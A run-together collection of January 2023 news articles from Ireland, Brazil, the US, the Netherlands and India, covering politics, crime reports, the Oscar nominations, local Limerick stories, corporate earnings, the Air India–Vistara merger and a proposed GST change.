In recent days my roles as chairperson of the North East Inner City Programme Implementation Board and board member of the Land Development Agency have been raised in commentary.

The work of both bodies is very important and I do not wish this unrelated controversy to be a distraction in any way from their work.

For that reason, I have very regretfully decided to step down from both bodies on which I have served pro bono and without fees or expenses for a number of years.

I want to thank my colleagues in both bodies for their friendship shown to me and for the important public service they continue to perform.

Mr Stone was appointed by government to the North East Inner City Programme Implementation Board in June 2017, and to the board of the State-sponsored Land Development Agency (LDA) in January 2019.

The LDA said in a statement that Mr Stones experience and expertise was a critical factor in the LDA becoming a major driver of public housing delivery for the State.

The agency thanks Michael for his significant contribution of time, energy and commitment to our mission.

It is understood Mr Stone has waived his remuneration fee since joining the board of the LDA and did not claim expenses.

Mr Donohoe also revealed last week that he sold Mr Stone five superdraw tickets worth 334 euro in 2020, and 22 tickets worth 1,382 euro in 2021 as part of a fundraiser for Fine Gael.
Ireland's youngest thalidomide survivor has turned 60 years old.

According to the Irish Thalidomide Association (ITA), John Stack from Tarbert, Co Kerry said he's "delighted" to have reached the milestone age.

Thalidomide was sold in Ireland in the 1950s and 60s to alleviate morning sickness but was withdrawn internationally in 1961 after it was found to cause major birth defects.

A 2013 investigation by RTE PrimeTime revealed that thalidomide was not removed from the Irish market until 1962.

John was reportedly born 14 months after the international withdrawal and has been chairperson of the ITA for many years.

Speaking on his birthday, John said his wish was that 2023 "draws a line in the sand of this sorry saga".

He said, "Its gone on too long. That a fair deal is done now. We need closure, we are exhausted. I cant spend the rest of my days fighting. As children we werent expected to live to middle age - Im delighted to have got this far."

ITA spokesperson and thalidomide survivor, Finola Cassidy, said, "There are only 40 Irish survivors left in Ireland, nearly 100 have died around the world in 2022 alone. We think of ourselves as a Thalidomide family. We are so happy and grateful to be able to mark Johns birthday. He is the most remarkable and unassuming man."
Two teens have been arrested by gardai following a car chase which began in Kildare.

A spokesperson for An Garda Siochana said that the organisation is investigating a number of dangerous driving incidents that occurred on the afternoon of Sunday, January 22, 2023 in counties Kildare and Dublin.

They said: "After a vehicle failed to stop for Gardai in the Kildare Division, Gardai commenced a managed containment operation assisted by the Garda Air Support Unit.

"The containment operation concluded in the Blanchardstown Retail Park area of Dublin 15 shortly after 3pm.

"The occupants, who had abandoned the vehicle, were arrested by Gardai a short distance away."

The spokesperson continued: "No injuries were reported during the course of this incident.

"The arrested persons, two male youths in their late teens, were taken to Blanchardstown Garda Station and detained under the provisions of Section 4 of the Criminal Justice Act 1984.

"They have both since been charged and appeared before the Childrens District Court in Smithfield yesterday morning Monday, January 23, 2023."

"Investigations are ongoing," the spokesperson concluded.
Kildare native Paul Mescal, who earned his first Oscar nomination for his role in coming-of-age drama Aftersun, said the good news was "bananas".

The actor, who rose to fame starring in the BBC adaptation of Sally Rooneys Normal People and has also appeared in a Rolling Stones music video, said the announcement was truly a special moment for everyone involved in Aftersun.

He added: To be recognised by the Academy is such an insane honour and Im so utterly grateful.

I want to dedicate this nomination to my two friends Charlotte and Frankie who I love dearly! This is bananas, thank you!

Another Oscar nominee Colin Farrell says he was beyond honoured after scooping his first Oscar nomination for best actor for The Banshees of Inisherin and sent his heartfelt congratulations to the lads.

The Irish actor received the coveted nod alongside veteran English star Bill Nighy and Normal Peoples Paul Mescal  who both also claimed their first.

Irish talent led the way at the 95th Oscar nominations on Tuesday, with recognition in major categories including best picture, best actor and best supporting actor and actress.

Martin McDonaghs dark Irish comedy The Banshees Of Inisherin was one of the top films to be recognised, with nine nominations, beaten only by Everything Everywhere All At Once with 11.

German film All Quiet On The Western Front also received nine nominations, with Baz Luhrmanns Elvis earning eight, and Steven Spielbergs The Fabelmans on seven.

Farrell and his three main co-stars, Brendan Gleeson, Barry Keoghan and Kerry Condon, were all nominated for their roles in The Banshees Of Inisherin, while McDonagh scooped a nod for best director.

In a statement to the PA news agency, Farrell said: (Im) just so grateful to the Academy for all the love its shared with the Banshees cast and crew.

Also, beyond honoured to be lumped together with my fellow nominees. A heartfelt congratulations to all the lads.

The nomination continues Farrells successful awards season run, having been nominated for both a Critics Choice and Screen Actors Guild gong for his performance in The Banshees Of Inisherin.

Nighys nod comes for his turn in Living, in which he portrays a veteran civil servant who is inspired to make the most of his remaining days, following a life of tedium.

Irish talent was well-represented across other major categories, with Gleeson nominated for best actor in a supporting role for The Banshees Of Inisherin, alongside Keoghan, and Condon recognised in the best supporting actress category.

Gleeson said: What an amazing wake-up call.

Im so proud and grateful to be part of The Banshees Of Inisherin on a personal and professional level. Im absolutely thrilled for the whole brilliant cast and everyone at home.

What a day for the Irish film industry on a world stage. Feels like a huge family outing on the cards. Thank you Academy. Thank you Martin. Thank you all.

Angela Bassett, star of Black Panther: Wakanda Forever, joined Condon as a nominee for best supporting actress, becoming the first actor from a Marvel movie to be nominated for their work in one of the franchises films.

The nominations for Actor in a Leading Role go to #Oscars #Oscars95 pic.twitter.com/BVcCq7u4Ut  The Academy (@TheAcademy) January 24, 2023

English actress Andrea Riseborough joined frontrunners Cate Blanchett and Michelle Yeoh in the best actress category, following a grassroots awards season campaign.

Blanchett and Yeoh, who have both been recognised previously, earned nominations for Tar and Everything Everywhere All At Once respectively.

Riseborough received the nod for her work in To Leslie.

Michelle Williams was also nominated for best actress, following a campaign to recognise her acclaimed performance as Mitzi, the piano-playing mother in Steven Spielbergs The Fabelmans, rather than as a best supporting role.

Everything Everywhere All At Once, The Banshees Of Inisherin and All Quiet On The Western Front all received nominations in the coveted best picture category, along with The Fabelmans.

They were joined in the 10-strong category by blockbuster sequels Avatar: The Way Of Water; Top Gun: Maverick; as well as Elvis, Tar, Triangle Of Sadness and Women Talking.

Noticeable snubs came for Black Panther: Wakanda Forever, Babylon and The Whale, which did not feature on the list.

Elsewhere, Charlie Mackesys heart-warming story The Boy, the Mole, The Fox And The Horse received an Oscar nomination for best animated short film.

Oscar-winning English designer Jenny Beavan was nominated yet again in the best costume category, for her work on Mrs Harris Goes To Paris.

The star-studded Oscars ceremony, to be hosted by US talk show host and comedian Jimmy Kimmel, will take place on March 12 at the Dolby Theatre in Los Angeles.
Guarani Indigenous and human rights activists attend a demonstration in support of British journalist Dom Phillips and Indigenous expert Bruno Perreira, demanding authorities conduct a thorough investigation into the circumstances leading to their deaths, and do more to protect indigenous lands against illegal miners, loggers, and fishermen, in Sao Paulo, Brazil, Saturday, June 18, 2022. ANDRE PENNER / AP

Police in Brazil have strong evidence that an alleged drug trafficker ordered the murders of a British journalist and an Indigenous activist in the Amazon last June, a police chief said on Monday, January 23.

Read more Brazil: Suspect confesses to killing Dom Phillips and Bruno Pereira in Amazon

Police believe Ruben da Silva Villar, who uses the nickname "Colombia" and is in custody, ordered the murders of the two men, Eduardo Fontes, chief of federal police in the Amazonas region, said at a news conference. Fontes said the case over the murders of UK journalist Dom Phillips, 57, and Bruno Pereira, a 41-year-old Indigenous activist and expert, was "90 percent" wrapped up and "practically closed." "The investigations are in the final phase and we have strong evidence that point to 'Colombia' as the mastermind of these crimes," Fontes said.

Read more Article reserve a nos abonnes The death of Dom Phillips, chronicler of the Amazon tragedy

Three sets of identity papers

Da Silva Villar has been in police custody since December, but his identity was difficult to pin down as he carried three sets of identity papers, two from Peru and one from Brazil, police said. Authorities finally determined that he was born in Puerto Narino, Colombia, a town in an Amazon region near where the borders of Colombia, Brazil and Peru meet.

Phillips and Pereira were shot dead on June 5 in Valle de Javari, a remote area where illegal fishing, mining and logging are rife. Fontes said Villar had provided weapons and boats to three men accused of the actual murders, and later paid for the lawyer for one of them. Phillips, a freelance journalist whose work had appeared in The Guardian and The New York Times, was traveling with Pereira doing research for a book on the Amazon.

Villar was detained in July and freed in October on bond. But courts ordered his imprisonment again after he failed to meet the conditions set out in his parole.

Read more Article reserve a nos abonnes The death of Brazilian anthropologist Bruno Araujo Pereira

Le Monde with AFP
San Mateo County Sheriff Christina Corpus speaks at a news conference following a shooting January 23, 2023, in Half Moon Bay, California. JEFF CHIU / AP

Seven people were killed as two new shootings rocked California Monday, January 23, less than 48 hours after a 72-year-old man shot dead 11 people at a Lunar New Year celebration in a Los Angeles area dance hall.

The latest bloodshed occurred at adjacent farms near Half Moon Bay, a Pacific coastal community near San Francisco. Briefing the media, San Mateo County Sheriff Christina Corpus said seven people were killed and one injured in the twin shootings, and that a 67-year-old Half Moon Bay resident named Zhao Chunli had been taken into custody.

Read more LA police seek motive in Lunar New Year mass shooting

As the new tragedy unfolded, detectives at the southern end of the state were still probing what drove an elderly Asian immigrant to shoot dead 11 people gathered in celebration at a suburban dance hall  before taking his own life. Suspect Huu Can Tran used a semi-automatic pistol in the rampage in Monterey Park Saturday night, killing men and women in their 50s, 60s and 70s. One person was shot in the parking lot. He then drove to another dance studio where police say only the "heroic" actions of a young man who wrestled the weapon off him prevented another slaughter. Hours later, Tran shot himself dead as police moved in on his white van.

Personal relationships, a key area of interest

Los Angeles County Sheriff Robert Luna said Monday that Tran, who had been arrested in 1994 for unlawful possession of a firearm, fired 42 rounds in the attack. But, he said, much was still unknown. "What drove a madman to do this? We don't know. But we intend to find out," he told reporters.

Read more Gunman who killed ten people near LA after Lunar new year festival found dead

Detectives were looking at Tran's previous connections to the two dance studios, with personal relationships a key area of interest, the Los Angeles Times reported. Monterey Park resident Chester Hong told Agence France Presse (AFP) on Sunday he believed a domestic dispute over an invitation to a Lunar New Year eve party could be at the root of the attack. Luna confirmed officers had been told Tran may have been known to some of his victims, but said there was currently no evidence he was related to any.

The toll in Monterey Park, one of California's largest Asian communities, rose to 11 on Monday when one of those injured in the attack died in the hospital.

Read more US Supreme Court says Americans have the right to carry guns in public

Le Monde with AFP
LIMERICK pooches are being called upon to audition for the romantic opera, La Boheme, which will be performed at University Concert Hall later this year.

As she is bringing one of the most romantic operas, La Boheme, to the stage, award-winning opera director and producer, Ellen Kent, is looking for the next furry Brad Pitt to perform on stage on April 6.

People often say to never work with children or animals. But, Ellen Kent, couldn't disagree more.

The first time was 20 years ago when my pet cat Holly Go-Lightly was in one of my productions and was an instant hit. Since then, weve had horses, dogs, goldfish and even a golden eagle with a 6ft wingspan on stage, she recalled.

When they last performed La Boheme, Ellen said they asked local people to volunteer their pets, which turned out to be a huge success.

We even used a rescue dog once and found him dozens of new owners! Were a nation of animal lovers, after all. Im sure there is plenty of doggie talent out there, she commented.

Pets who audition need to be well-behaved, small, used to people and quiet. Owners have to be prepared to go on-stage in costume, to take care of their pups.

Based on Henri Murgers novel, Scenes de la vie de Boheme, the opera will be performed in Italian, with English subtitles. An Ellen Kent Production, the set will reflect Bohemian art, and will include a brass band, snow effects, as well as a full choir and orchestra.

To audition dogs, contact angela@ellenkent.co.uk
LIMERICK City and County Council is planning to work with the National Transport Authority (NTA) to deliver a park-and-ride in Raheen.

The information came to light in a written answer from transport engineer Robert Gallagher at this months metropolitan district meeting.

He explained how the site would initially be in place to allow customers to park their vehicle and transfer onto a bus into the city.

But, he added: It could potentially double up in time as a dual rail/road park-and-ride, depending on the commuter rail progression in the area.

There are plans to build a number of new commuter rail stations around the city, including at Ballysimon and Moyross, while the Foynes to Limerick freight line will see traffic again.

Campaigners hope a number of other stations open around the city, and at the metropolitan meeting, Independent councillor Fergus Kilcoyne saw a motion passed calling on the local authority to look to buy or lease land for railway stations.

He identified Adare, Patrickswell, Raheen and Dooradoyle in particular, while fellow councillor Elena Secas asked if his motion could also include the purchase of land for train stations in Castletroy and Plassey.

Mr Gallagher said while council supports proposals for new rail stations, land acquisition and delivery is primarily the responsibility of Irish Rail.
FROM the tides of the Atlantic to the chill breeze of the Southern Indian Ocean, from the islands of the Pacific and back home, Limerick man Conor OBrien saw it all.

Conor took the risk of a lifetime when he set sail from Foynes in 1923 - not knowing if he would ever see the banks of the port town again.

Conor did the unthinkable - he became the first amateur sailor to circumnavigate the globe - and he did it without so much as a life jacket on board or an engine on his small sailboat Saoirse - named in honour of the Irish Free State.

This year marks the centenary of Conors historical circumnavigation - an event was held in Foynes Yacht Club earlier this month, to commemorate his breathtaking journey.

Conor set his course due south on Wednesday, June 20, 1923. He had two other crew members aboard the small yacht.

A sextant (an instrument used to determine the angle between the horizon and a celestial body such as the Sun, the Moon, or a star), a compass and a chronometer (a timepiece on a ship, used in the determination of what longitude you are on) were the main instruments on board the Saoirse.

Conor navigated the tides of the Atlantic as he headed towards his first destination - the Portuguese island of Madeira.

On his way down to Cape Town, his timber mast split, Vincent Murphy said. He had no option but to reduce the size of his main sail. He decided hed never make it to Cape Town in the position he was in so he set sail for the Brazilian state of Pernambuco.

Vincent, from Cork, was the speaker at the commemorative event at Foynes Yacht Club. He visited the city of Recife, and he thought his repairs would only take three days but it took about three weeks He thought Recife was the most beautiful city he had ever seen, explained Vincent.

After his venture to Brazil, Conor set his sights back on Cape Town - where his crew looked after a new mast for him.

Whilst heading towards New Zealand, Conor made a pit-stop in Melbourne, Australia as he was short of baking powder, salt and potatoes.

He had taken on a new crew during a repair stop in Durban, South Africa.

The new crew deserted him in Melbourne so he brought on board three Tasmanians to help him along his travels.

Shortly after departure more bad luck struck Conor as it became evident that his new crew did not know how to sail a yacht.

He sailed them back to Australia but they robbed him before they left him, outlined Vincent.

A month later he made his way towards New Zealand with two further new crew members.

Upon departure from New Zealand, it wasnt long until one of his crew members hurt his knee which turned septic and had to be lanced - which the sailors did themselves.

A trip back to New Zealand had to be made to bring the crew member to a hospital where he stayed for a month. At this stage, the money was running out. Hed had his delays, his repairs and his money stolen from him, Vincent said.

Things were looking fairly uncertain.

Following a detour to Tonga, one of his crew members deserted him, it was there he picked up another crew member by the name of Kioa.

He spent a total of seven months in New Zealand before departing and setting his sights on home soil and back into the Atlantic Ocean.

Following a stop in the Falklands for almost three months and a detour to the South Shetland Islands near Antarctica, Conor was back on track.

A stop was made once again in Pernambuco and finally, the task was complete, Conor had successfully circumnavigated the world, becoming the first amateur to do so. The task would not be completed by an amateur sailor again for about twenty years.

Conor and Kioa, the only two on board at that point sailed to the Azores (west of Portugal) where they picked up Conors sister Kitty, another confident sailor and sailed home to Ireland.

Conor and the crew arrived in Dublin on June 19, 1925, two years all but a day from when he started, Vincent said.

On June 20, he sailed into Dun Laoghaire where there were 10,000 people there to greet him. It was a big event.

It was a historic day for Irish sailing and a number of events around the country have been organised in recognition of Conors journey around the world.
A hand-drawn map with a red letter X purportedly showing the location of a buried stash of precious jewellery looted by Nazis from a blown-up bank vault has sparked a modern-day treasure hunt in a tiny Dutch village.

Armed with metal detectors, shovels and copies of the map on mobile phones, treasure hunters have descended on Ommeren  population 715  about 80 kilometres (50 miles) south east of Amsterdam to try to dig up a potential Second World War trove based on the drawing first published on January 3.

Local resident Marco Roodveldt said: Yes, it is of course spectacular news that has enthralled the whole village. But not only our village, also people who do not come from here.

He said that all kinds of people have been spontaneously digging in places where they think that treasure is buried.

It was not immediately clear if authorities could claim the loot if it was found, or if a prospector could keep it.

So far, nobody has reported finding anything. The treasure hunt began this year when the Dutch National Archive published  as it does every January  thousands of documents for historians to study.

Most of them went largely unnoticed, but the map, which includes a sketch of a cross section of a country road and another with a red X at the base of one of three trees, was an unexpected viral attraction.

Were quite astonished about the story itself. But the attention its getting is as well, National Archive researcher Annet Waalkens said as she showed off the map.

Photographs on social media in early January showed people digging holes more than a metre (three feet) deep, sometimes on private property, in the hope of unearthing a fortune.

Buren, the municipality Ommeren falls under, published a statement on its website pointing out that a ban on metal detection is in place for the municipality and warned that the area was a Second World War front line.

Searching there is dangerous because of possible unexploded bombs, land mines and shells, the municipality said in a statement. We advise against going to look for the Nazi treasure.

The latest treasure hunters are not the first to leave the village empty-handed.

Ms Waalkens said the story started in the summer of 1944 in the Nazi-occupied city of Arnhem, when a bomb hit a bank, pierced its vault and scattered its contents  including gold, jewellery and cash  across the street.

German soldiers stationed nearby pocket what they can get and they keep it in ammunition boxes, Ms Waalkens said.

As the end of the war neared in 1945, the Netherlands German occupiers were pushed back by Allied advances. The soldiers who had been in Arnhem found themselves in Ommeren and decided to bury the loot.

Four ammunition boxes and then just some jewellery that was kept in handkerchiefs or even cash money folded in. And they buried it right there, Ms Waalkens said, citing an account by a German soldier who was interviewed after the war by Dutch military authorities in Berlin and who was responsible for the map.

The archive does not know if the soldier is still alive and has not released his name, citing European Union privacy regulations.

Dutch authorities, using the map and the soldiers account, went hunting for the loot in 1947.

The first time, the ground was frozen solid and they made no headway. When they went back after the thaw, they found nothing, Ms Waalkens said.

After the unsuccessful attempts, the German soldier said he believed that someone else has already excavated the treasure, she added.

That detail was largely overlooked by treasure hunters who descended on Ommeren in the days after the maps publication, although the rush has recently given way once more to peace and quiet.

But the villages brief brush with fame left a sour taste for some residents. Ria van Tuil van Neerbos said she did not believe in the treasure story, but understood why some did.

If they hear something, theyll head toward it, she said. But I dont think its good that they just dug into the ground and things like that.
When Marcus Holmes returned to Lincoln University as a police captain in 2017, his career came full circle. It was a homecoming 20 years in the making.

I started my law enforcement career at Lincoln University Public Safety in 1997 under Chief Karl Hubbard, Holmes says. He has since worked with several agencies throughout his career  Holts Summit Police Department, Cole County Sheriffs Office, Missouri Alcohol and Tobacco, Fulton Police Department, Missouri Department of Revenue and Missouri Department of Transportation  but in 2017 Holmes returned to his alma mater to serve as second in command to LU Police Chief Gary Hill.

A 2018 graduate of the Missouri Police Chiefs' Command College, Holmes wears many hats at LUPD in order to protect the public, maintain law and order on the campus, detect and prevent crime and control traffic. He supervises the day-to-day activities of campus police officers and evaluates performance, adjusting police and security operations and coverages where needed. He also assists with professional development and maintains the required training and certifications for campus police officers. As chief of security, Holmes supervises coordination and planning of security services for special events, oversees the departments Communication and Dispatch Center, and provides incident/accident reports when requested.

Pitching in wherever hes needed, Holmes also helps out when he can at Lincolns Law Enforcement Training Academy, acquiring the necessary equipment for academy students.

He enjoys all the varied aspects of his work. One of my favorite parts of the job would be the interactions that I have with the faculty, staff and students, he says. And I like knowing that I have assisted an outstanding command staff in transforming our department into a valuable asset of the university.

The Chicago native  born and raised on the South Side; White Sox, Bears, Blackhawks and Cubs fan  is a Blue Tiger through and through. Holmes came to Jefferson City in the 1990s to attend Lincoln, earning a bachelors degree here in criminal justice and corrections in 1996. In 2021, he added a masters degree in sociology and criminal justice, also from Lincoln.

The police captain and the university are a good fit. Here at Lincoln, Im a part of a department that has worked toward being a part of the solution, other than a part of the problem with all of the problems within law enforcement, he says.
FMCG major Colgate Palmolive India on Tuesday reported a decline in net profit by 3.6 per cent to 243.24 crore in the December quarter. This is against a net profit of 252.33 crore in the year-ago period, Colgate Palmolive India said in a regulatory filing.

The revenue from operations of the company grew by 0.9 per cent to 1281.21 crore in the quarter under review from 1271.29 crore a year ago, Colgate-Palmolive India said inn the regulatory filing.

The earnings before interest, taxes, depreciation, and amortisation (EBITDA) declined by 4.9 per cent to 326.93 core from 252.33 crore in the corresponding quarter last fiscal.

Domestic sales growth reported for the quarter ended December 31, 2022 is 2.3 per cent, said Colgate-Palmolive India in its regulatory filing.

The net sales for the nine months ended December 30, 2022 rose by 1.9 per cent to 3,846.2 crore, over the same period of the previous year. Net profit for the period was reported as 730.9 crore.

"The Company is focussed on its key strategic pillars of building oral care habit in India, driving innovation and renovation through science led products and premiumisation. Although oral care consumption continued to be weighed down in the quarter by adverse macro factors, we are cautiously optimistic going forward. The focus remains to stay invested in our category & brand building activities on key strategic pillars while delivering healthy EBITDA margins. We continue to build positive momentum in driving premiumisation across categories led by the modern trade and e-commerce channels," said Prabha Narasimhan, Managing Director at Colgate-Palmolive (India) Limited.

In the December quarter, the company has partnered with the Andhra Pradesh government for orla health awarness program. The company will work with the state government to educate children on oral health and build awareness on saying 'No' to tobacco.

The company scrip was 1.29% lower at 1471 on BSE.
Chennai-based TVS Motor Company Ltd on Tuesday reported a bigger-than-expected rise in third-quarter (Q3FY23) profit, as the two-wheeler maker passed on the increase in expenses to its customers.

The company posted a net profit of 352.75, up 22.5% on-year during the three months ended 31 December, 2022, as compared to 288 crore in the corresponding period of last year.

The company's revenue soared 14.7% on-year to 6,545.42 crore in the third quarter as against 5,706.43 crore in the same quarter of last year.

The homegrown motorcycle manufacturer's operating EBITDA rose by 16% to 659 crore for the third quarter of FY23 as against 568 crore in third quarter of FY22. The company's operating EBITDA margin for the quarter came in at 10.1% as against 10% reported in the third quarter of FY22.

The company has also declared an interim dividend of 5 per equity share aggregating to 238 crore for fiscal 2023.

New product launches and updates

During this quarter, the company has launched TVS Raider SmartXonnectTM TFT variant with first in-class features such as TFT display, TVS SmartXonnectTM with voice-assist, Bluetooth connectivity, navigation, ride reports and multiple ride modes.

The company has announced strategic engagement with Amazon India to strengthen electric mobility, electric infrastructure and connected services and strengthening our commitment to achieving net-zero carbon.

Electric vehicles registered sales of 0.29 lakh units in the quarter ended December 2022 as against 0.02 lakh units during the quarter ended December 2021 and 0.16 lakh units during the quarter ended September 2022.

For the quarter under review, TVS Motor has registered total two-wheeler sales of 8.36 lakh units as against 8.35 lakh units in the quarter ended December 2021.

Two-wheeler export sales at 2.07 lakh units as against 2.53 lakh units in December 2021. Total three-wheelers registered sales of 0.43 lakh units in the quarter ended December 2022 as against 0.44 lakh units in the quarter ended December 2021, the company said in an exchange filing.

Shares of TVS Motor Company Limited climbed 0.031% to settle at 982.00 apiece on the NSE on Tuesday.
Global mobility provider Alstom has been recognized as the Top employer in India for the third year in a row. The company has also been recognized as the Global Top Employer 2023 with certificates in 22 countries. The rankings were released by Top Employers Institute.

Alstom says the certificates are a testament to the company's commitment to a better workplace through excellent people practices. They also claim to be the only organization in the heavy engineering and mobility sector in India to be re-certified.

Alstom India Managing Director Olivier Loison in his statement about the achievement said It is a proud moment for us as we have successfully retained our position as the only Top Employer in the Indian mobility industry for the third consecutive year."

At Alstom, our people agenda has been at the core of our business outlook and this win is a testament to the sheer dedication and commitment of our employees. We aim to continue providing higher engagement to our diverse workforce and empower and support them in their career aspirations" Loison added

The company says they count on a strong learning culture with an average of 27 hours of learning achieved per employee in India using state-of-the-art technology.

Alstom says it will continue its recruitment drive in 2023 with a focus on hiring across the value chain  from production to methods, supplies, and functions. Alstom India runs a Young Engineering Graduates Programme (YEGP) since 2015 which has helped recruit over 1,700 engineering graduates.

Top Employers Institute certifies organizations on the basis of their results in the HR Best Practices Survey. The survey covers six HR areas which are divided into 20 themes such as people strategy, work environment, talent acquisition, training, well-being, etc. They have certified 2 053 organizations across 121 countries around the globe.
Mumbai: Easy Trip Planners Ltd, which operates EaseMyTrip.com, said on Tuesday it has acquired a 55% stake in cheQin for an undisclosed sum through the primary route.

Through cheQin, travellers can negotiate with hoteliers in real time. The company encourages travellers to pay directly at the hotel and maintains a customer-centric approach that allows them to stay at the most cost-effective hotels, transforming the entire hotel booking experience. On the other hand, the company uses the "cheQin" application to give hoteliers access to real-time booking requests as well as the ability to manage their own bookings, Easy Trip said in an exchange filing.

cheQin now has over 60,000 top-rated properties, including 3-, 4-, and 5-star hotels, private stays, vacation rentals, beach resorts, and low-cost rooms. Travelers can easily access these properties via the web and apps for Android and iOS. More than 5,000 hotels in Singapore, Thailand, Indonesia, Vietnam, Malaysia, and the United Arab Emirates have recently signed agreements and formed relationships with cheQin.

With this acquisition, EaseMyTrip is now in a strong position to provide its customers with a diverse range of innovative hotel booking options at the most competitive prices. Customers can benefit from booking hotel rooms for large groups, extended stays, and last-minute bookings. CheQin gains access to EaseMyTrip's extensive network of 45,000+ travel agents and 11+ million customers as a result of this acquisition.

EaseMyTrip is focusing on the growth of its non-air segments. This acquisition is a step towards revolutionizing the hotel business altogether. Through cheQin, which is a unique app in the hotels industry, EaseMyTrip will diversify its hotel booking experience through technology support. We sternly believe that cheQin provides unparalleled options in all segments and has the potential to scale and strengthen cross-selling," Nishant Pitti, CEO and co-Founder of EaseMyTrip, said.

The robust bargaining algorithm of cheQin would draw in a tonne of customers in no time. We really believe that cheQin can work miracles for last-minute, bulk, long-term, and short-term bookings. We expect to strengthened the market in the years to come, thanks to our partnership with EaseMyTrip, Venu G Somineni, founder, CheQin, said.
NEW DELHI : An internal team of senior executives from Air India and Vistara, along with external consultants, are leading an extensive exercise in merging the two airlines, said people aware of the development. This includes consultations to rationalize operations, including salary structures, address cultural compatibility, and to identify leaders to drive the brand transformation and transition, the people said.

The top management of both airlines and senior to mid-level executives will be interviewed by external consultants, followed by another round of talks with an expert internal team, with representatives from both airlines. Then the best fit will be retained for the post, and other candidates will be given a different role if available," said one of the people, seeking anonymity.

In January 2022, Air India had 12,085 employees, including 8,084 permanent staff, when it was handed over to the Tata Group as part of the governments divestment programme. Vistara has about 5,000 employees.

Air India is also looking at bringing parity in the compensation structures since the non-flying crew of Vistara is paid more than those of Air India. There will be rounds of salary corrections in the non-flying crew of Air India", he added.

While the airline is looking at offering voluntary retirement to a section of employees close to retirement, cabin and flight crew are likely to be retained as Air India aims to increase its fleet size by threefold within five years.

The airline is hiring fresh talent in various departments. In many cases, the roles are not clearly defined for the time being. But, the plan is to offer senior employees voluntary retirement before new hires are trusted with their roles. Even those who are not close to retirement will be judged on the basis of merit. There will be no free lunches," a second official aware of the development said. While routes will be rationalized, major retrenchments are not expected for pilots as well as cabin crew because Air India has commissioned a new fleet of 777, and not many pilots are familiar with the aircraft. The demand for pilots and flying crew will remain high," he added.

In November, Mint reported Air Indias plans to introduce a second voluntary retirement scheme to reduce costs and pave the way for a younger workforce.

After taking over the airline in January, Tata group offered early retirement plans to 4,500 employees in June, which 1,500 employees accepted.

As per the divestment guideline, the successful bidder for Air India was required to retain all employees of the airline for one year. For retrenching employees after this period, the company will have to offer them a voluntary retirement scheme.

The government has also recently asked the Air India management to charge employees of the airline for overstaying in the airlines residential colony of Delhi. The management has been asked to deduct the amount from their salary with respect to October. The residential colonies were not part of the disinvestment exercise, and the government has moved the properties under Air India Asset Holdings Limited along with other real estate properties.

On 29 November, Singapore Airlines and Tata Group announced a merger between Air India and Vistara, with Singapore Airlines holding 25.1% of the merged entity. The merger is expected to be completed by March 2024. Vistara is a 51:49 joint venture between Tata Group and Singapore Airlines.

The Air India management expects the Competition Commission of India (CCI) approval to come in by June-July, a senior executive aware of the development said. The airlines have started working on the blueprint for the Vistara merger into the Air India umbrella, he added.

In addition to CCI, the merger will also need approvals from the Directorate General of Civil Aviation, the Ministry of Civil Aviation, and the Reserve Bank of India, anti-trust and merger control clearances and approvals from the Competition and Consumer Commission of Singapore. Both parties will also have to comply with relevant provisions of Indias Companies Act and Indian foreign exchange regulations on the fair market value of the shares.

The parties will also need the sanction of the National Company Law Tribunal and redemption or conversion of certain outstanding liabilities owed by the Airports Authority of India to TATA Sons (and/or its affiliates) on or before the filing of the merger scheme.
New Delhi: Beverage brand Pepsi has roped in Kannada actor Yash, who starred in blockbuster KGF as its brand ambassador.

Yash, who was recently seen in national blockbuster KGF Chapter 2, joins Salman Khan in endorsing brand Pepsi in India.

The 37-year-old actor will be instrumental in deepening consumer connect of brand Pepsi as it expands its national footprint, said an executive at the company.

We are thrilled to join hands with Rocking Star Yash, a name that truly defines the spirit of fearlessness and living life on your own termssomething that Pepsi consumers resonate strongly with. Yash brings a strong connect and influence over the youth that cuts across geographies. Yash will be instrumental in deepening consumer connect as we look to expand the brands footprint," said Saumya Rathor, category lead, Pepsi Cola, PepsiCo India.

The move also points to the growing appeal of south Indian celebrities following the success that south Indian films have witnessed. As a result, top stars in the Telugu, Kannada and Tamil industries are being roped in endorsements with their fee equalling popular Bollywood stars.

Yash will feature in Pepsis new television campaigns in a new avatar that are set to take over traditional and digital platforms across the country. The collaboration was announced by Yash as he posted a video of him taking a swig from a Pepsi bottle confirming his love for the brand with his family of over 12 million followers.

Pepsi has constantly reinvented and innovated itself to be a part of the cultural fabric of India. Yash, on the other hand, has been lauded for his fearless and bold persona in Kannada cinema and enjoys a massive fanbase across the nation. The disruptive partnership between Pepsi and Yash will become a huge topic of conversation amongst the youth of India," the company said in a statement.

PepsiCo India sells a range of beverages including Mountain Dew, Pepsi, Tropicana and Mirinda. The company also sells salty snacks under the Lays and Kurkure brands.
The government is likely to introduce amendments to Goods and Services Tax (GST) law through the Finance Bill, 2023, denying businesses credit for the taxes paid while procuring goods and services that they provide to the community under their corporate social responsibility (CSR) obligations.

This would mean that the taxes that are part of the goods and services used in CSR activities cannot be adjusted against the companys overall GST liability, according to two persons aware about discussions in the Central government. This would be a major change to the GST law," said one of the persons. The plan is to amend sections in the GST Act (16 and 17) dealing with input tax credit or ITC.

View Full Image Graphic: Mint

One of the cornerstones of GST is availability of credit to a business for the taxes paid on purchases so that tax applies only to the value addition at each stage of the supply chain and there is no tax on tax. However, credit for GST paid while procuring goods and services for meeting CSR obligations has been a grey area with different advance ruling authorities giving contradictory orders. This has warranted clearing the air through legislative amendments, said the first person quoted above. It is through the annual Finance Bill, changes in various tax laws such as Income Tax Act, Customs Act, CGST Act and IGST Acts are implemented.

The advance ruling authorities in Uttar Pradesh, Telangana, Gujarat and Kerala have examined the issue whether the taxes paid as part of CSR activities is in the course or furtherance of his business"the criteria for credit to be available for taxes paid on purchases--and have given diametrically opposite views. While the Telangana State Authority for Advance Ruling and the Authority for Advance Ruling in Uttar Pradesh said that GST on inputs procured for CSR is available as credit, the authorities in Gujarat and Kerala ordered otherwise on this specific question, showed the orders that are available in the public domain.

The Telangana State Authority for Advance Ruling noted in its 20 October 2022 order that CSR spending mandated under Companies Act is an expenditure made in the furtherance of the business. Hence the tax paid on purchases made to meet the obligations under corporate social responsibility will be eligible for input tax credit under Central GST and State GST Acts," said the order. The UP Authority explained in its January 2020 ruling that CSR spending is not voluntary, but is a statutory obligation under company law and hence tax credit on it is not restricted. However, the Gujarat Authority for Advance Ruling in its August 2021 order explained that CSR activities are excluded from normal course of business and therefore not eligible for input tax credit.

